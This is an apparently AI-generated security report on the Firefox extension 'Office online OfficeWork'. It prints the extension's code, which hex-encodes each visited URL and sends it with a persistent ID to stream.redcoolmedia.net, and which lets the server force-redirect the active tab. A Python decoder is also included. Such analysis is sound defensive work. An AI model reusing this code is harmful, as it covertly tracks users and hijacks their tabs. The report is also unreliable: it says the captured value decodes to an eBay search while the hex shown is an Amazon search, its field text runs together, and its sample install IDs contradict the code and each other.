Is Office online OfficeWork for XLS DOC and PPT safe?
OfficeWork sends the URL of nearly every page you visit to a third-party server and can be told to redirect your tab.
On almost every tab switch or page load, the extension reads the current tab's URL, tags it with a persistent per-install identifier, and sends it to stream.redcoolmedia.net, unrelated to its stated document-viewing purpose. If that server's response contains the text "302", the extension immediately navigates the active tab to a redcoolmedia.net URL, giving the vendor's backend remote control over when a visited tab gets redirected, with no user confirmation.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
OfficeWork reports the URL of nearly every page you visit to redcoolmedia.net
We observed the extension send the hex-encoded full URL of each page visited, search terms included, to stream.redcoolmedia.net, with the same per-install ID on every request.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You switch tabs or navigate to any page whose address contains "http" and isn't on redcoolmedia.net.
The check excludes only URLs containing the substring "redco".
The extension sends that page's full URL, hex-encoded, plus a persistent per-install ID, to stream.redcoolmedia.net.
We observed one request per page visited during dynamic analysis, each carrying the same install ID.
HTTP 200. Reply body was the text 1200 after four blank lines.
The visited URL is hex-encoded before it is sent, so it does not read as a URL in a network log. This value was captured during dynamic analysis; it decodes to an eBay search, search term included.
https://www.ebay.com/sch/i.html?_nkw=phone- Visited page URLl=68747470733a2f2f7777772e616d617a6f6e2e636f6d2f733f6b3d6c6170746f70
The full address of the page you are on, including any search terms in it.
- Persistent install IDu=nrqS440SNb
A random ID made once and stored locally. It was identical on every request we captured.
- Hex flaghex=1
Tells the server the URL field is hex-encoded.
The tab listeners and the reporting function
handleTabChange() runs on every switch and navigation
web.js (renamed)function handleTabChange(tabId) { chrome.tabs.get(tabId, function(tab) { const isEligible = tab.url.indexOf("redco") === -1 && tab.url.indexOf("http") !== -1 && lastReportedUrl !== tab.url; if (isEligible) { const urlToReport = tab.url; reportVisitedUrl(urlToReport); lastReportedUrl = tab.url; } });}function backgroundController() { this.init = function () { chrome.tabs.onActivated.addListener(function(activeInfo) { try { handleTabChange(activeInfo.tabId); } catch (error) {} }); chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) { try { handleTabChange(tabId); } catch (error) {} }); };}reportVisitedUrl() loads/creates the persistent ID and sends the request
web.js (renamed)async function reportVisitedUrl(visitedUrl) { let installState = { installId: null, reportingEnabled: null }; const STORAGE_KEY = "redcool_key"; const storageResult = await chrome.storage.local.get([STORAGE_KEY]); if (STORAGE_KEY in storageResult) { installState = storageResult[STORAGE_KEY]; } let installId = installState.installId || generateRandomId(10).toLowerCase(); installState.installId = installId; let reportingEnabled = installState.reportingEnabled || "1"; installState.reportingEnabled = "1"; await chrome.storage.local.set({ [STORAGE_KEY]: installState }); if (installState.reportingEnabled === "0") return; const response = await fetch('https://stream.redcoolmedia.net/api/officeworku.php?l=' + hexEncode(visitedUrl) + '&hex=1&u=' + installId);hexEncode() converts the URL string to hex
web.js (renamed)function hexEncode(text) { let hex = ''; for (let i = 0; i < text.length; i++) { const byte = text.charCodeAt(i).toString(16); hex += byte.length < 2 ? '0' + byte : byte; } return hex;}Decodes the hex-encoded "l" query parameter of a captured officeworku.php request back into the plaintext URL that was reported.
- Python 3
#!/usr/bin/env python3import sysfrom urllib.parse import urlparse, parse_qsdef decode_hex_url(value: str) -> str: return bytes.fromhex(value).decode("utf-8", errors="replace")def main(): if len(sys.argv) != 2: print("usage: decode_officeworku_request.py <hex_value_or_full_request_url>") sys.exit(1) arg = sys.argv[1] if arg.startswith("http"): parsed = urlparse(arg) qs = parse_qs(parsed.query) hex_value = qs.get("l", [None])[0] if not hex_value: print("no 'l' query parameter found in the given URL") sys.exit(1) else: hex_value = arg print(decode_hex_url(hex_value))if __name__ == "__main__": main()- 1Capture a GET request to stream.redcoolmedia.net/api/officeworku.php.
- 2Copy the value of the 'l' query parameter, or the full request URL.
- 3Run: python3 decode_officeworku_request.py <value>
This is a Firefox add-on. To load it in our Chrome-based test browser we changed one manifest entry so web.js runs as a service worker instead of a background script. The extension code was not modified.
OfficeWork lets redcoolmedia.net redirect your active tab on demand
Code analysis shows the same URL-reporting request doubles as a remote trigger: if the server's response contains "302", the extension immediately navigates your active tab to a redcoolmedia.net URL.
- Severity
- Medium unwanted
- Type
- Unexpected
- CWE
- CWE-506
- Source
- Static analysis
The stream.redcoolmedia.net response to a reported page URL contains the substring "302" anywhere in its body.
The extension immediately navigates your active tab to a redcoolmedia.net URL, with no click or confirmation.
The condition and the destination are set entirely by the vendor's backend, per reported URL or user.
- Reported page URL, reusedurl=68747470733a2f2f7777772e6e7974696d65732e636f6d2f...
The same hex-encoded page URL you were reporting, now reused to build the redirect destination.
- Persistent install IDu=k3j9dq2m1x
Your persistent install ID, carried over into the redirect destination URL.
The response check and the forced tab navigation
const reportResponse = await fetch('https://stream.redcoolmedia.net/api/officeworku.php?l=' + hexEncode(visitedUrl) + '&hex=1&u=' + installId);if (reportResponse.status === 200) { const responseText = await reportResponse.text(); const shouldRedirect = responseText.indexOf("302") !== -1; if (shouldRedirect) { const redirectUrl = 'https://www.redcoolmedia.net/api/app-officework.php?url=' + hexEncode(visitedUrl) + '&u=' + installId; chrome.tabs.update(chrome.tabs.getCurrent().id, { url: redirectUrl }); }}- www.redcoolmedia.net
Redirect destination the vendor's backend can send your active tab to at any time, for any reported URL.
We reviewed the shipped source but did not capture a live "302" response, so we have not observed the redirect fire. The backend sets the condition and could trigger it for any reported URL or user, with no client-side opt-out.
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 1.4.4. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
See the address and title of every tab you have open
tabs
Where it sends data
Destinations our analysis observed Office online OfficeWork for XLS DOC and PPT contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- www.redcoolmedia.net
Office online OfficeWork for XLS DOC and PPT sends data to www.redcoolmedia.net. 16 other extensions we have analyzed send data here.
- stream.redcoolmedia.net
Office online OfficeWork for XLS DOC and PPT sends data to stream.redcoolmedia.net. 10 other extensions we have analyzed send data here.